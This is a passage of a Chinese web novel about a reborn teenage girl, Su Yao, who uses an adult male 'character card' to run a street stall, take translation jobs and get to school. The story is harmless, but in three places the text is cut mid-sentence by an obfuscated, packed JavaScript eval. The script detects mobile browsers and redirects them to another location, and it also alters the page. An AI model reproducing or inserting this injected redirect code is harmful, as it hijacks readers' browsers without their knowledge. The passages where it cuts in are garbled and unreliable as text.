苏尧担心零点前会发生什么必须要成年人出面的事，她需要尽力保护自己的人身安全。 墙上的时钟显示还剩下两小时才到第二天。 苏尧没了睡意。 她自己吹完剩下的头发，从卧室角落的书桌找到书包——第一小学给优生的奖励，她印象里，这只书包背了两年才换——不是她不珍惜，是初中书太多太沉，将背带撑坏了。 与背后衣服接触的书包外衬也在频繁的步行走路摩擦中变得稀烂。 找巷头修鞋修伞的老头补过几次，修到最后，实在没有必要再修。 15岁的苏尧才买了只新的。 她摸了摸崭新的书包，心想，这次有自行车接送，书包的寿命应该能多撑一段时间。 苏尧早已经过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140018|164481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一团孩子气、每逢开学渴望憧憬换新书包的稚嫩年纪，她更注重实用性。这只具有纪念意义的书包，能比前世多用一段时间，足够她高兴一会。 既然清醒，苏尧又扒拉出今天摆摊挣的钱。 她数了一遍，和她预计的差不多。 挣了一百三十四元。 200元成本，挣134元，谁听了都要夸一声厉害——接近成本70%的利润，这真的是有点本事了。 苏尧并不满足于此。 她掏了本子，记账，想着明天该进哪些货，该怎么最大程度利用好人物卡的3小时时长，还能保证主身体的人身安全——她总要留一些时间给自己，以此确保未成年人独立生活没有危险。 今天，只剩下3分钟，是实在没办法的下下策。 苏尧缺钱。 她不可能向父母要，父母一定会质问她为什么钱不够花，是不是在外头撒野了，是不是心思不在学习上了…… 那一套话术，苏尧太熟悉了。 她不会留机会让父母激声愤慨。 她从10岁就开始独立，并不恐惧一人挣钱的畏难情绪。 更何况，现在她并不算严格意义上的“一人”。 苏尧托着腮，静静地想，成年人的身份真的很好用。 13岁时，她还没有考虑过打工的可能。那时父母打钱及时，不算苛刻她，生活费刚好够覆盖伙食费。她只是不能像同班同学那样在课余时间买零食，逢年过节有新颖好看的衣服穿罢了。 上了高中，苏尧有了少女情怀，她渴望打扮自己了，希望自己看起来没有那么黢黑（三年初中步行上学，被太阳晒成黑妞），希望高中体育课选修的体操课上自己有新的体操服穿，希望运动会有一双合脚的跑鞋…… 于是，趁着周末，苏尧沿着路边店铺，寻找兼职机会。 可惜，她没有成年，店长一听她年纪，连连摆手拒绝。 直到上大学，苏尧成年了，才有真正的机会挣到完全属于自己的，自由使用的钱。 这辈子，她更早地拥有了自由掌控的“金钱”，属于她创造出来的财富。 ‘钟和熹’的社会身份不能算是安全落地。‘他’的jia证还在抽屉里。 不过，哪怕是这样，‘钟和熹’的存在，已经给她的生活带来极大的便利了。 英俊的，漂亮的，富有魅力的成年人，肩宽胸厚，带来无限的安全感。 苏尧撑着脸，她想着今天发生的事，叹息声含着浅浅的满足与快乐。 真好，她想，明天还要更努力地挣钱。 定个小目标，先挣个一千块吧！ 6. 第 6 章 苏尧踮着脚，将洗好的衣服晾晒在院子里的晾衣绳上，幽幽叹气：短短几日，她就被‘钟和熹’人物卡宠坏了。 一个家庭，拥有健壮成年人作为生产劳动力。毋庸置疑，是有助于家庭其他成员的生活便利与体验舒适。 摆摊前几天，‘钟和熹’人物卡可以干家里大大小小的活儿，三小时足够苏尧操纵意识，达成做饭、洗碗、洗刷院子、清理陈年污垢等繁琐家务。 主身体的压力大大减轻，她基本上不需要动弹，托着腮帮子看着另一个自己‘钟和熹’忙忙碌碌即可。 晾衣服更是不必说。 矮小的未成年人需要勉力踮着脚，将衣服挂好。 高大的成年人毫不费劲，三五分钟就能搞定。 尝过甜头的苏尧希望自己尽早有能力挣够一段时间的生活费，以此确保‘钟和熹’的人物卡时长用于家庭生活，而非摆摊。 到了饭点。 苏尧给自己煮了一碗热腾腾的清汤面。 目前，她没有太多娱乐设施，只有一台大屁股电视机——前十年的老古董。隔壁邻居都换上液晶超薄电视了，苏家还是这老样式。 苏尧打开电视，耸了耸肩，无奈地想，没办法，谁让她父母一年365天，在家不超过一个月，对电视毫无需求，更不愿意花冤枉钱给她更新设备。 新闻联播天气预报。 女主持人抑扬顿挫道：“新一轮降雨即将到来，预计明天凌晨三点，麒湾区域有100毫米以上的强降水……” 糟糕，下雨就代表自己没法出摊卖东西了。 明天的摆摊计划可能要报废。 苏尧苦恼地皱起鼻子，很快，她自我安慰：事缓则圆，不必急于一时。 午后小憩，醒来看了眼时间。 苏尧放出‘钟和熹’，启程出发，准备傍晚摆摊。 …… 黄乐乐牵着闺蜜的手，在老街服装店徘徊，她挑中了一条深蓝低腰牛仔裤，正在和店主讲价。 讲到最后，45元买下。 黄乐乐心满意足，她闺蜜说明天要下雨，今天一鼓作气玩够：“下周要开学，到时候肯定没空出来玩。” 两人都是初三复读生，一提到开学，语气不佳，横眉冷对。 黄乐乐很不爽，她讨厌上学，心情烦闷，旋后，她摸了把兜里她爹多塞的一把零钱，“走，喝奶茶去，我请你。” 两人往大台北奶茶店走去。 此时是晚上七点半。 空气里泛出一种潮闷的泥土气味，是夏末暴雨前兆，黑剪刀般的燕子低低飞过地面。 黄乐乐排着队，买了两杯珍珠奶茶，闺蜜嫌排队太久，说自己去旁边逛一逛。 等奶茶到手，她扭头一看，发现闺蜜已经挤入人群中。黄乐乐纳闷有什么好看的，也顺势钻了进去，这一瞧，眼珠子都瞪大了！ 苏尧在摆摊？！ 等等，和她一块摆摊的这个男的——这个帅哥是谁？！ 黄乐乐听到闺蜜说：“乐乐，你要不要买发箍？我们买个闺蜜款！”她已经从大帅哥手里接过几只花色靓丽的宽发箍，脸颊涨红，神采奕奕，说话时还情不自禁地偷瞧那帅哥。 她：“……” 不止闺蜜一人在挑选商品，不知道是不是这个摊位风水好，还是选的商品款式新颖。络绎不绝的路人都在这档口停了停。 黄乐乐不晓得苏尧有没有看到她。 她听到苏尧很响亮地招揽客人，用从没在街坊邻居面前表露的开朗、清爽笑容，甜甜展示给过路人——她居然有比她爸妈开店还要擅长维护顾客的社交技巧？这些路人居然也真吃她这一套？真是见鬼了！ “姐姐，你昨天也来了吧，我记得你挑了个腕带，”她说话轻快，不忘推销商品，“今天我们有其他款式的！” 黄乐乐站在原地，脚挪不动地。 她又惊又懵，看着苏尧说话，然后……她身后的帅哥顺势递出物品。人来人往的街头，苏尧的头发散了一些落在肩头，他将她多余的碎发用摊位上的发绳扎起来了。 流畅而亲昵的动作，吸引了不少人的目光。 闺蜜喃喃：“我也想要这个款的发绳。” 英俊男人听到，一视同仁，给顾客递上。 闺蜜笑嘻嘻地扭头，问黄乐乐：“乐乐，你喜欢什么样的？你请我喝奶茶，我送你发绳啊。” 手里的大台北奶茶冰凉地沁出水凝珠。 黄乐乐终于被苏尧发现了。 她抬眸看到她，面上的表情丝毫不变，嘴里依然热络地招待着路过的客人们：“这款很适合你呢，姐姐，你的皮肤好白，就适合戴显眼一点的。” 被夸赞的女孩笑得眼睛弯弯，大手一挥，买了。 …… 黄乐乐想让闺蜜别给苏尧挣钱的机会。虽然她暂时搞不懂苏尧怎么会在这，她身后的男人又是谁……这不妨碍她下意识地厌恶，心生逆反。 “哇，苏尧你居然缺钱出来摆摊了？” “你爸妈没给你生活费吗？” 顾客太多，她的话尖酸刻薄，苏尧不打算吵起来，影响生意。 她眯了眯眼，很平和，语气友好极了。 “是的，我出来摆摊挣钱。” 年纪小，会觉得承认自己的窘迫让人难为情，脸火辣辣的，恨不得钻进地里，做一只永不见天日的鸵鸟。 年纪大了，就没有那么多顾虑了。 成年人的世界在乎的东西和小孩子在乎的不同。 苏尧很淡定。 她依然不吝啬自己脸上的笑容，冲着其他顾客们微笑。 与此同时，‘钟和熹’的视线平静地看向她，穿过苏尧的肩头，如同笔直的闪电，冷漠而沉寂地落在黄乐乐的脸上。 是警告。 倏忽之间，黄乐乐如芒在背。 她握紧手里的奶茶，嗫喏起来，不知道该说些什么。 想质问苏尧，这男的是谁的话，在成年男性冷漠的注视下，愣是没敢说出口。 闺蜜没有发现身旁的暗流涌动。 她兴冲冲地买了几条发绳，高高兴兴地给了苏尧现金，还和帅哥搭话了几句。 扭头找黄乐乐，这才发现好友心情不佳。 她不解：“怎么了？” 发绳递给黄乐乐，她没接。 闺蜜：“你不喜欢？” 黄乐乐没说话， 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直到他们准备收摊。 依依不舍的几个年轻女孩笑着问苏尧明天还来不来。苏尧摇了摇头，指了指不远处低低飞过的雨燕：“要下雨了，不来了。” 不知道下雨要持续多久，苏尧叹气。 女孩们于是也叹气。 短短两日，她们建立了不错的感情——和‘钟和熹’搭话的机会不多，可能帅哥就是沉默寡言吧，他很少开口，只是静静地用举动表达。会帮她们挑选合适的饰品，适时地递出，一举一动都充满让人心动的魅力。 美色实在赏心悦目。 不过，撇去欣赏的美人，面前的杏眼圆脸小妹妹才是她们聊天的主要对象。 她说话很好听，很会夸人，把她们夸得脸红扑扑的。小姑娘笑起来眼睛亮亮，怪可爱的，邻家小妹妹那般，有着特讨人喜欢的架势。 总之，说不清明天下雨，摆摊计划泡汤，她们更失望的是见不到谁。 …… 时长卡还剩下半小时。 和昨天相比，今天的收益应该会更多一些。 苏尧心算了一遍，将最后一件商品收了起来。 空气有了雷雨来前的预兆，湿漉漉的。潮气蔓延，已经有店铺提前准备好雨棚，迎接明天的暴雨。 自行车的前筐放了件雨衣，以备不时之需。 黄乐乐在街角紧盯着他们看，直到英俊男人骑上自行车，苏尧坐在后座，恍然大悟：她之前看到的男的，就是他！ 将头发染回黑直发的跋扈女孩满心复杂，说不出话来。 她盯着苏尧坐上自行车，安心地搂着男人的腰，骑往归途。 原本计划好在父母面前阴阳怪气苏尧没有那么乖，是个坏小孩的阴暗心思，瞬间消失无踪，她咬着嘴唇，又酸又妒。 她不晓得苏尧和这个英俊男人是什么关系——究竟是不是她臆想的“早恋”？亦或者是摆摊时观察听到苏尧对外说的“兄妹”…… 这一刻，黄乐乐更宁愿苏尧和‘钟和熹’什么关系都没有。 7. 第 7 章 回家，收衣服。 还剩下十几分钟的时长，苏尧紧巴着使用，用‘钟和熹’人物卡提前锁好家里的门窗，检查了家中电器，留了院子里的排水通道，防止暴雨将屋子淹了。 一切细节都是过去常做的，苏尧得心应手地做完，留了五分钟的时长。 数了一遍今天挣的钱，撇去成本，挣了189元。 加上昨天的134元，现在手头有600出头的现金。 这两天没怎么花钱，家里有剩余的食材，还没吃完。 苏尧托腮，思考着下雨天不能摆摊，能干些什么。要不要在家里呆一天？ 想着想着，几颗急促的如豆大的雨珠落在了屋檐瓦片上，发出噼里啪啦的声响。 她裹着被子，盯着墙上时钟，还没过晚上12点。从窗户缝隙里透进来的雨水气味，淹没了房间。 暴雨提前来临。 …… 距离开学还剩下两天。 雨下了持续24小时。 这一场暴雨仿佛要浇灭夏季最后的燥热，迎来初秋的凉爽。 苏尧穿着长袖外套，撑着雨伞，将院子里被落叶堵住的下水管道用扫把杆捅开。 这场暴雨在前世同样出现过，13岁的苏尧看到天气预报里说，爸妈所在的城市同样遭受沿海台风影响，无比担心地打了电话，问他们情况如何。 父母接受了她的关心，却没有回应着问她情况怎么样——两个城市都在下雨，女儿能担忧来电，作为成年人的爸妈为什么没有任何表现呢？他们好像总有很多事情要忙，下雨天工地没有活儿，也要去隔壁宿舍打麻将，因此早早地挂掉了电话，一句关心的话都没说，还嫌苏尧浪费话费。 过往细节，是苏尧在成年后慢慢读懂的。她幡然醒悟，意识到父母没有那么爱她。 现在想来，发生在青春期的内耗与惆怅，大多是年轻的苏尧在笨拙地思考着家庭、家人的关系，怀疑着自己是不是爸妈亲生的——像黄乐乐那样，嘴巴很坏的女孩都有父母爱。 她不爱说脏话，学习一直很好……怎么会没有爸妈喜欢呢？ 会不会，她不是亲生的？ 曾经困扰了苏尧好久的痛苦，在她成年后渐渐梳理清晰。 苏尧踱步走到屋檐下，眯着眼看浩浩荡荡落下的雨丝，心情宁静。前世，她在大学兼职挣了钱，回家拿了父母用过的牙刷、梳子，去做了亲缘鉴定。 结果出乎意料。 她是父母的亲生女儿。 于是，答案明了。 他们只不过是不那么爱她而已。 苏尧接受了父母不是天生喜爱孩子的道理。 这辈子，她并不打算打电话询问父母在工地如何，台风对工作有没有影响。 她坐在凳子上，想着开学之后的军训——唉，处处都要花钱，她还得腾出经费来买防晒霜。真不想把自己晒脱皮。 ‘钟和熹’人物卡在夜晚九点开始使用。 下了一场雨，空气泛着丝丝清凉。 苏尧挨着自己，成年人有着热乎乎的体温与可靠的胸怀。 她一手翻着书，一手挨着‘钟和熹’的胳膊，像是只咕噜咕噜的小猫，被自己用宽大的手掌按摩着脑袋。 苏尧的后颈有点疼，可能是昨晚睡眠质量太差，枕头太硬。青少年的生长痛让她没能睡好，时不时翻身，小腿抽痛，做梦都是踩空的错觉。 温热大手伸手搓一搓脑门，再按一按后颈，又兴致盎然，给自己编了个好看的麻花辫。 认真看书的主身体，勾勾画画，将看到的优美片段用铅笔划线。 身后的‘钟和熹’人物卡，安静而沉稳地给自己编头发，摆摊剩下的没卖出去的饰品，挑了几个合眼缘的发夹，有序地戴上。 圆圆的后脑勺，精美的麻花辫。 是个好看小姑娘该有的样子了。 苏尧对着镜子照了照，心满意足地翘起嘴角。 她的青春期太少有这样精致明亮的时刻。 雨声依旧，大屁股电视播放着天气预报，通知市民们出行注意安全，“预计明天五点转晴……” 难得的深夜，能有另一个自己陪伴到零点。 苏尧心情很好！ 她哼着几年后才会发行的歌，看着电视机里放的《美人心计》。 熬夜看剧！ 直到地方卫视换了档，切成无聊的夜间访谈。 苏尧依依不舍地关了电视，上床睡觉。 零点一过，人物卡时长刷新，她叹着气，将‘钟和熹’人物卡收回。天气湿冷，她贪恋另一个自己的体温，可到底还是没有舍得将时长提前用上。 睡前，苏尧满脑子想的都是：该怎么让人物卡的时长变长呢？ 没有提示，让人苦恼。 她翻了个身，带着念头，陷入沉沉的梦境。 · 明天开学！ 苏尧看着雨过天晴。天边虹彩闪闪，让人心情愉悦。 摆摊挣钱不算高效。开学在即，她必须要快点挣到一笔足够成年男性一日一餐、未成年人一日三餐的生活费——起码保证两周开销，让她的生活没那么局促。 二十年前的科技远不如未来，苏尧13岁时没有碰过智能手机、电脑。她不确定这个年代有什么可以变现的商机。 苏尧决定先去县里的网吧看看有没有什么合适的挣钱渠道。 出门时，隔壁邻居看到她，惊讶极了：“你爸妈回来了？” 邻居家和苏家距离有三十米。 两家中间空了很大一块的地儿，邻居家里孩子有三个，为了早上接送孩子上学，今年提了一辆车。 这块地被他拿去当作“停车位”了。现在，他刚停好车，下车就看到苏尧，顶着一张干干净净的脸，梳着秀秀气气的辫子，准备出门。看着像是精心打扮过。 不怪他有这个刻板印象：苏尧这小囡囡，人很文静乖巧，学习成绩比他家儿子强多了。他特羡慕苏家有这个乖女儿，真省心。 可是，该说不说，苏尧的穿着打扮到底不如他家闺女儿子。 他老婆很爱收拾家里小孩，把孩子拾掇得干干净净，一看就是父母在管、在爱的样子。 苏尧嘛…… 他看到她今天的打扮，脱口而出。说完以后，听到苏尧摇头答，“没，他们还在工地呢。” 邻居又夸她：“今天头发梳得好看，你自己梳的呀？” 苏尧笑了起来，她昨天给自己扎的小辫子，过夜没拆，早上起来，和昨天一样精致。 她不打算让‘钟和熹’做个宅在家里不出现的“透明人”。骑着自行车串街走巷时，周边街坊们肯定有人已经见过‘他’了，她不好瞒，必须得想个关系，证明‘钟和熹’的存在合情合理。 ‘远房亲戚’‘兄妹’，是目前解决问题的最好方式。 于是，苏尧眼也不眨，撒谎道：“我哥给我扎的小辫。” 邻居诧异扬眉：“你哥？” 顶着阳光，苏尧越说越流畅，她冲着邻居大叔微笑，“是呀，我爸妈不管我，我哥看我在家里一个人，担心我。” 她说得轻快幸福： “他会陪我住一段时间。” 邻居没有追根问底，他和苏家的关系没有那么亲——毕竟，一年三百多天都在外头打工的夫妻俩，见面只是点点头问问好，压根没什么交情。他顶多就是关心一下独自留守在家住的小朋友。 “那敢情好，”末了，邻居和颜悦色，笑眯眯道，“有人照顾你。” “是呀。”苏尧点头承认。 邻居又问：“你哥呢？改天介绍认识认识啊。” 苏尧答应下来。 今天，她没有使用‘人物卡’载自己出门，为了确保时长能完整、精确地利用上，还是先用主身体到达目的地，再来考虑其他事。 ‘人物卡’的活动范围以主身体50米内为中心。 这意味着“使用人物卡”时，找一个隐蔽无监控的地点，可以凭空“大变活人”。 在家时，如有外人出现，她提前做好预案，会让‘人物卡’从厕所里走出，而在外，公共厕所隔间就是最好利用的地点。 …… 应付完好奇的邻居，苏尧钻进了县城里唯一的一家网吧，绕过烟味浓重的座位，在前台三块钱买了一小时的临时卡。 她拿着上机密码，打开电脑。 企鹅的图标在桌面上十分显眼。 苏尧还没有企鹅号，她想了想，给自己申请了一个。 居然是9 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏尧也饿了。 但她没考虑吃泡面。 她挑了个空，顺便缓解一下视力疲劳，走出网吧大门，在范围50米内，使用人物卡。 目的地：公共厕所隔间。 然后，回到机位。 …… 几刻钟后，网吧前台冲着走进门里的高大男人道：“欢迎光临~需要开机吗？开临时卡还是会员？” 前台吃着烤肠，在男人走近，屋内灯光能照亮他的脸时，愣了愣：我靠，哪来的帅哥？ 她还没反应过来，帅哥冲她含蓄地笑了笑，平静道：“我不包机，来送饭。” 前台眼睛一垂，这才注意到，帅哥手里提了个附近特好吃的一家快餐店的饭——她一般换班下班时去买。没办法，距离网吧有点远，步行要十五分钟。 “哇……”前台一边震惊着客人的颜值，一边打量，她记得那家快餐店的外送员不长这样，按捺不住好奇，“你是新的外送员，还是专门给谁送啊？” 帅哥眨了眨眼。 前台发现他有一双特别美丽的眼，睫毛又长又黑，瞳孔深邃迷人。 她听到他轻轻笑了声，答：“给家里人送的。” 他的背影消失在乌烟瘴气的网吧座椅中，然后，站定在角落机位里。 前台记得那是个年纪很小的妹妹包的机子，临时卡一小时，前半小时又续费了四小时。 她飞速嚼完手里头的烤肠，趁着有人要方便面，泡了一桶，送了过去，然后，张头望脑地瞧。 视角拘束，她没能看到小妹妹具体在干些什么，但这敲键盘的速度，堪比隔壁玩魔兽CF的狂暴。 小妹妹很认真地在敲键盘——真的好认真！眼睛圆圆亮亮，被电脑屏幕蓝光印得幽幽。 嘴里也不闲着。 是的，前台美眉眼睁睁看着大帅哥拿着筷子、勺子，一口一口地耐心在喂饭！ 她目瞪口呆。 脑中只闪烁过一个念头：好溺爱的帅哥家长！小朋友来网吧打游戏，居然亲自来送饭喂饭吗？！ 8. 第 8 章 苏尧不晓得前台美眉在她退机时流露出的复杂情绪是什么意思。 她的‘人物卡’时长还剩下45分钟，绰绰有余。 今天，‘钟和熹’主要负责送两顿饭，‘他’得去附近买合适的饭——现在没有外卖平台，也没有共享单车，只好凭借人力外送。好在，网吧处于较为繁华的区域，周边很多餐厅，足够‘钟和熹’在短时间内买到快餐，再送到自己嘴边。 这一天，包机五个小时，苏尧眼睛盯着屏幕都有些看花了。 她接了六份翻译任务，快刀斩乱麻地敲击键盘，甚至都没有什么空亲自伸手拿筷握勺吃饭。 只好让另一个自己‘钟和熹’快速地喂饱自己。 好在，结果不差。 威客网的日结翻译单子，最低的一单，任务量低，只有80出头；最高的一单，字数接近3万，结算报酬有200左右。 贪图日结快速到账，苏尧挑的都是低千字，极其吃工作量的低廉单子。 零零总总，算下来，今天的日结报酬有近700元。 这是一个非常可怕，十分消耗体力的活儿。 苏尧觉得自己都有点头晕眼花了。 她强撑着走出网吧，呼吸了一口新鲜空气，疲惫地耷拉下肩膀：翻译挣钱确实快，只是，太消耗精力，未成年的身体根本吃不消。 她倒是可以让‘人物卡’钟和熹来做翻译的活儿，但一天三小时，哪里够用？ 苏家距离网吧就有一段路程，骑自行车往返要时间。开学后，她还必须将人物卡的‘时长’抽出部分来接送自己。 怎么算，时间都是不够的。 苏尧叹气，揉眼睛，发困。 前世，她上学近视800度，这辈子，她不想要再过戴眼镜的日子。 常盯着电脑，显然不助于视力发育。 她打着哈欠，算着时间。 现在是晚上八点。 网吧内热火朝天，一群夜猫子准备奋斗到凌晨。 苏尧回身看了一眼，心道：拜拜，我明天要开学上课了。 至于开学后怎么挣钱……再说吧！ 苏尧走上回家的路。 二十年前的夜晚，路边并不是处处都有路灯、监控，尚未实现全面覆盖电子眼的县城里，时不时还有些飞车党事件发生。 苏尧一离开人多的大道，就警惕起来了。 估摸着还有十分钟能到家。 苏尧挤进一条没有监控的小巷里，和流浪猫打了个招呼。然后，放出‘人物卡’，让成年男性陪自己走完剩下的路。 一路安全，无忧到家。 邻居家已经亮起了灯，催着孩子赶作业的家长吆喝声细碎传来：“暑假作业呢？写完没？写完了放新书包里——明天早上要吃什么？开学我给你们仨煮线面加蛋，今年新学期努力考满分啊！” 苏尧听着声音，情不自禁地笑了笑。 看来邻居家小孩赶了一天的作业。 而她的一天，同样干了很多事。 洗澡，洗掉一身的烟灰混杂红烧牛肉面的味儿；再重新梳了梳头发，吹干，让还有点时长的‘钟和熹’扎小辫。 苏尧很得意今天邻居夸她头发好看的事。 她决定以后每天都要打扮得漂漂亮亮！ 未成年人的精力，像是一捏就扁的面团。 苏尧在‘钟和熹’捏着发尾时，迷迷糊糊地睡了。 还有三分钟时长的‘人物卡’，主意识分离，仍然清晰，毫无困意。 迅速将自己的头发整理好，再抱上床，盖上薄被，开启电风扇，点好蚊香…… 时长结束，零点已过。 念起，收卡。 ‘人物卡’悄然黯淡，消失在空气中。 苏尧彻底睡着了。 …… 开学第一天！ 苏尧困得迷迷糊糊，洗了把冷水，清醒后的第一件事是先照照镜子，检查了自己的头发——很好，完美！辫子没有松散，没有变形！ 新生还没发放初中部校服，开学第一天，大家都是穿自己的衣服去上学的。 苏尧挑了衣柜里最好看的新衣服，短袖长裤，再加一顶防晒鸭舌帽。 苏尧又给‘钟和熹’换上了初始套装里的衬衫——西装收起来，没穿，骑自行车不方便。衬衫可以，质感细滑柔顺的布料，穿在成年男性的身上，像是一首婉转精致的歌。 吃早餐的中途，苏尧点了一遍自己目前拥有的现金。 她数着数着，算目前挣到的总金额：摆摊323元，翻译700左右……加起来，总计1023元。 她发现，自己靠着努力，居然挣够了1000元！ 念头刚闪过脑子，脑海中的‘人物卡’行列突兀地闪了闪。 苏尧定在原地。 她看到了两行清晰小字： 【金钱：已挣1023元（满足1000元）】 【是否激活人物卡2号，或选择增强人物卡1号的社会融入度1%】 苏尧抿紧了嘴唇。 她翻来覆去睡不着时，想要知道其他三张‘人物卡’的激活条件是什么……从会不会和她的主身体“年龄”有关，长一岁解锁一个；或是和她的考试成绩搭钩，考得好，人物卡解锁（重生文小说里不都这么写的嘛）…… 想来想去，一个都没搭上边？最后，居然是和“挣钱”戚戚相关？ 苏尧一时茫然。 下一秒，她忽然又懂了。 乙游投入市场，靠的就是以角色魅力吸引玩家的“氪金值”。从投资方角度来说，能让玩家氪金的游戏就是好游戏。 乙游角色实体化到现实，“挣钱值”等同换位成“氪金值”，成为角色解锁或融入社会的必要条件。 这“挣钱值”是由主身体、‘人物卡’创造出的财富，父母给的生活费不算入其中。 她盯着文字栏上的“增强人物卡1号的社会融入度1%”，猜想：这一定是让‘钟和熹’拥有合法合理身份的升级条件。 1000块钱，1%的融入度，意思是，10万块钱就能解决人物卡‘钟和熹’的身份吗？ 未免太过便宜了。 苏尧保持怀疑。她的视线锁定在其他三张人物卡上，若有所思：或许，其他三张的人物卡的“社会融入度”要求和1号人物卡‘钟和熹’的不同，大概会有更高标准？ 这都是未来要考虑的事了。 苏尧没有多加犹豫，立刻选了“解锁人物卡2号”。 多一个成年人，多一个生活上的帮手。 傻子都知道该怎么选。 为了利益最大化，保证生活的便利与挣钱的效率，苏尧必须得选新的‘人物卡’。 点完以后。 2号人物卡上出现了24小时缓冲加载时间。 明天的这个时候，人物卡2号解锁完成。 苏尧快速吃完最后一块馒头，把喝不完的豆浆塞进‘钟和熹’的嘴里，没有浪费。瞟了眼时间，六点四十五分，该上学了！ 背着新书包，坐上二手自行车。 英俊成年人推着自行车走出院子，恰好与要接送小孩的邻居大叔碰上面。 邻居诧然：“苏尧，这是你哥哥吗？” 苏尧搂着成年人的腰，冲着四轮车里摇下车窗，齐齐张大嘴巴看着她的三个邻居小孩挥了挥手。 她一点也没有前世的文静内敛，满脸笑意，非常张扬：“是，我哥哥。” ‘钟和熹’在清晨的阳光下，冷静、和煦地冲他们礼貌性地笑了笑。 他英俊迫人，眉宇间充斥着无比惊艳的魅力。 很快，骑上自行车。 他们的身影消失在邻居的视野中。 邻居坐上主驾驶位，还有点回不过神来，后座已经上高中的大女儿，扒着车椅，“爸！苏尧她哥好帅啊！” 大儿子：“我咋没听说她有个这么帅的哥啊？” 小儿子：“我也想坐他自行车后座！” 今年刚提的车，想着带闺女儿子美一美的大叔：…… “也、也没那么帅吧？” 小儿子：“超帅的好吗！” 小儿子今年和苏尧同级，都是小升初，还没排班呢，就已经琢磨着想要和苏尧换座驾了。 “老爸，明天我让苏尧她哥接我！你接苏尧呗，我也想坐自行车……” 邻居无语凝噎。 他瞪了异想天开的小儿子一眼，点火开车，没好气道：“坐好！去学校了！” …… 跌宕的石子路，再转到平滑的柏油路。 苏尧闭着眼，半睡半醒地搂着腰，补觉。 未成年人的精力实在是谜。 有时候精神得能打一条虎，有时候又困得能跌进沟里。 苏尧搂紧了‘钟和熹’的腰，陷入深深的睡眠中，路程还有十分钟，她还可以多睡一会。 …… 第一中学。初中部和高中部都在这一个校区。 教导主任戴着臂章，左顾右看，准备观察有没有什么违规违纪现象——开电动车接送的家长有没有给孩子戴头盔，去年重点关注的谈恋爱学生今天有没有花枝招展，染个黄毛或穿改了裤腿的小脚裤校服……还有些还没被关注，但是一直被教导主任用“鹰眼”观察的可疑学生们。 校门口豪华四轮车停下，车门一开，学生背着书包走出。 二轮电动车帅气摆头，带着安全帽的孩子乖乖下来，和父母告别。 校园是见证贫富差距最早的一个“小社会”。 教导主任眯着眼，盯着来来往往的家长、学生们。 时间飞速流淌。 一辆自行车倏忽间，落进他的眼里。 教导主任很难不注意到这个奇特的、亮眼的组合。 英俊到不似凡人的成年男人，骑着一辆明显不吻合身份的自行车出现。 教导主任眼光老道，一眼就能看出，男人身上穿的衬衫绝对不是县城里售卖的低廉款式。布料在日光下带着隐隐辉光，剪裁得当，非常体面，一定很贵。像是教导主任去参加省级演讲时会去市里买的高价衬衫。 自行车后座的学生，是新生，穿着自己的衣服，不像其他年级的学生，穿着校服。 小姑娘搂着身前男人的腰，到校门口还有点发困打瞌睡。 她还没来得及清醒，就被停下来的英俊男人，轻轻搂了搂肩膀，然后抱下来了。 教导主任的脸色沉凝起来。 他阅尽千帆，晓得年轻男女谈恋爱时是啥样的——亲昵自不必多说。有时候，成年人比未成年人更早地窥见青少年时的青春萌动，心动瞬间。 这一连串的动作，都彰显这两人关系不浅。 更别说，这成年男人和新生小姑娘，虽说都是俊俏模样，可五官轮廓、神情纹路并不相像——因此，排除掉亲属关系！ 教导主任眉头紧锁，正欲开口，想要质问这是不是校园纪律严令禁止的“早恋”。 下一秒，小姑娘背着书包，揉着眼睛，打了个哈欠，冲教导主任打招呼：“老师早上好！” 她头也没回，一眼都没看身后的英俊得发光的成年男人。 教导主任：“……” 什么情况？ 英俊男人有一双非常好看的眼睛，他一言不发，默默地看着小姑娘走进校园，这才骑上自行车，离开了。 教导主任满腹疑窦。 他不晓得自己是看走眼了还是…… 奇怪，再观察观察。 = 苏尧和教导主任打完招呼，还是很困。 她觉得是昨天翻译的活儿把自己累坏了。 唉！ 不过还好，开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140021|164481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学第一天嘛，一般不怎么讲课，发个新书课本，认识一下新同学…… 再准备准备过几天的军训事宜。 还是很轻松的。 以‘钟和熹’视角观察校园，又是一种新的体验。 苏尧踏进校园时，‘钟和熹’的双眼凝视着熟悉又陌生的校园，秃顶教导主任紧紧地盯着到校的学生、家长们，找出违规违纪的学生，喝令改正。 ‘钟和熹’没看太久，决定回家，顺路去菜市场买点食材，准备午饭。 …… 撇去昨天，‘钟和熹’去打包饭，主身体在网吧奋力翻译的距离；今天，苏尧和‘钟和熹’的分离才是最遥远的。 菜市场距离校园有两公里远，意味着主身体和‘钟和熹’有两公里的距离。 几日来，熟悉的菜摊子老板已经眼熟‘钟和熹’了。 对于长相好，说话好听的年轻人，中老年人总是会多点怜爱。再加上，‘钟和熹’太了解当地市场价了，实在糊弄不来。 